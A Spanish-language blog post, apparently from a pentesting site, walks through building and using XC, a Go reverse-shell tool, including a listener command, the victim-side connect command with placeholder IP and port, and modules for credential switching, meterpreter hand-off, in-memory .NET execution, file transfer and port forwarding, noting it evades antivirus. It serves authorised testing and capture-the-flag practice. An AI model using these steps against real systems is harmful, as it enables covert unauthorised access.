Muy buenas a todos!
Esta semana vamos a continuar jugando con nuestras queridas shells remotas. En esta ocasión, probaremos un «Netcat súper vitaminado» escrito en GO llamado XC. Además de su extrema sencillez, cuenta con todo tipo de plugins, ejecución en memoria, port forwarding y mucho más!
En la anterior entrada, pudimos ver como HTTP-revshell nos ofrecía una shell remota muy completa y silenciosa para nuestras tareas de pentesting. Si te lo perdiste, aquí tienes el enlace: https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell
Una de las herramientas más importantes que todo «buen hacker» debe tener en su mochila, son las shells remotas. Existen de todo tipo: ligeras, pesadas, sencillas, complejas.. y prácticamente en casi todos los lenguajes de programación que existen.
Esto se debe, a que una de las partes más importantes en de nuestro trabajo, es conseguir acceso a los sistemas remotos de una forma fácil y eficiente. No importa si estás jugando un CTF en Hack the Box o estás realizando una auditoría interna. En cualquier caso, vas a necesitar conectar con el equipo víctima para realizar la fase de post-explotación, movimientos laterales, etc.
Por ello, es muy importante que esta parte sea fácil, sencilla y a poder ser, lo suficientemente evasiva para no ser detectados. Además, si podemos subir y descargar ficheros, crear túneles o ejecutar binarios en memoria, esto nos facilitará aún más nuestro ejercicio de pentesting.
Si alguna vez habéis jugado a Hack the Box, es probable que el nombre de xct os suene de algo. Además de haber ostentado la posición Nº 1 del raking mundial de la plataforma, es el creador de la máquina Travel y poseedor de las root bloods de máquinas como RopeTwo, PlayerTwo o Smasher2 entre muchas otras.
Si os interesa el tema, tenéis muchos writeups en su blog.
En esta ocasión, este researcher nos trae una shell remota escrita en GO al más puro estilo «Netcat» que en poco o nada se le parece a ésta. A continuación, os dejo el enlace del proyecto en cuestión: https://github.com/xct/xc
Ahora que ya tenemos algo más de contexto, vamos a poner a prueba la herramienta en cuestión 😜
Lo primero que haremos será descargar el intérprete de GO con el siguiente comando:
wget https://golang.org/dl/go1.15.linux-amd64.tar.gz tar -xvf go1.15.linux-amd64.tar.gz mkdir /usr/local/go && mv go/ /usr/local/ rm go1.15.linux-amd64.tar.gz
A continuación, configuraremos las variables de entorno para su correcto funcionamiento de la siguiente forma:
export GOROOT=/usr/local/go export GOPATH=$HOME/.go export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
Y por último, comprobaremos que todo está correcto ejecutando lo siguiente:
go version
Ahora que ya podemos ejecutar go en nuestro equipo, instalaremos las dependencias correspondientes:
go get github.com/hashicorp/yamux go get github.com/ropnop/go-clr go get golang.org/x/sys/windows go get golang.org/x/text/encoding/unicode
A continuación, clonaremos el repositorio de GitHub de la forma habitual y compilaremos la herramienta con los siguientes comandos:
git clone https://github.com/xct/xc.git cd xc && make
Si todo ha salido como debería, en la carpeta del proyecto nos aparecerá un nuevo binario llamado xc.exe (la parte cliente que conectará con nuestro servidor), que transferiremos al equipo víctima tan pronto como nos sea posible.
En primer lugar, pondremos la herramienta a la escucha en nuestro Kali Linux de la siguiente forma:
./xc -l -p puerto
Y por último ejecutaremos el siguiente comando en la víctima para completar la conexión:
xc.exe ip_servidor puerto
Y voilà! Ya tenemos conexión entre nuestros equipos. Ahora, veamos que podemos hacer consultando la ayuda con !help
Como podéis ver en la imagen, tenemos todo tipo de módulos y comandos que nos permitirán hacer todo lo siguiente:
• !runas: Reiniciar la shell con otro usuario
• !runasps: Reiniciar la shell con otro usuario (PowerShell)
• !met: Conecta contra un x64/meterpreter/reverse_tcp
• !upload: Sube ficheros, la sintaxis es «origen» «destino»
• !download: Al igual que su homólogo, misma sintaxis
• !lfwd: Local Port Forwarding, «puerto-local» «IP» «puerto-remoto»
• !rfwd: Remote Port Forwarding, misma sintaxis que la anterior
• !vulns: Comprueba vulnerabilidades más habituales
• !plugins: Muestra una lista de plugins disponibles
• !plugin: Ejecuta un plugin a petición
• !rc: Conecta sobre otro puerto y reinicia la conexión
• !spawn: Ejecuta otro cliente sobre otro puerto diferente
• !shell: Nos devuelve una shell de tipo CMD
• !powershell: Nos devuelve una consola de PowerShell
• !net: Nos permite ejecutar un binario en .net sin tocar disco
• !exit: Cierra la conexión y el proceso
Sin duda alguna, la herramienta nos proporciona todo tipo de utilidades de una forma muy intuitiva, fácil y sencilla. Además de disponer una conexión rápida y estable, en ningún momento hemos sido alertados por el software antivirus.
Una de las cosas que más me han gustado, ha sido la facilidad que existe para lanzar un nuevo proceso con otras credenciales, como si de un auténtico runas se tratase.
Como conclusión final, pese a ser una herramienta en fase «experimental» se trata de una herramienta sencilla, que nos ofrece multitud de opciones más que interesantes. Otra tool más que no debería faltar en tu mochila de pentester.
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!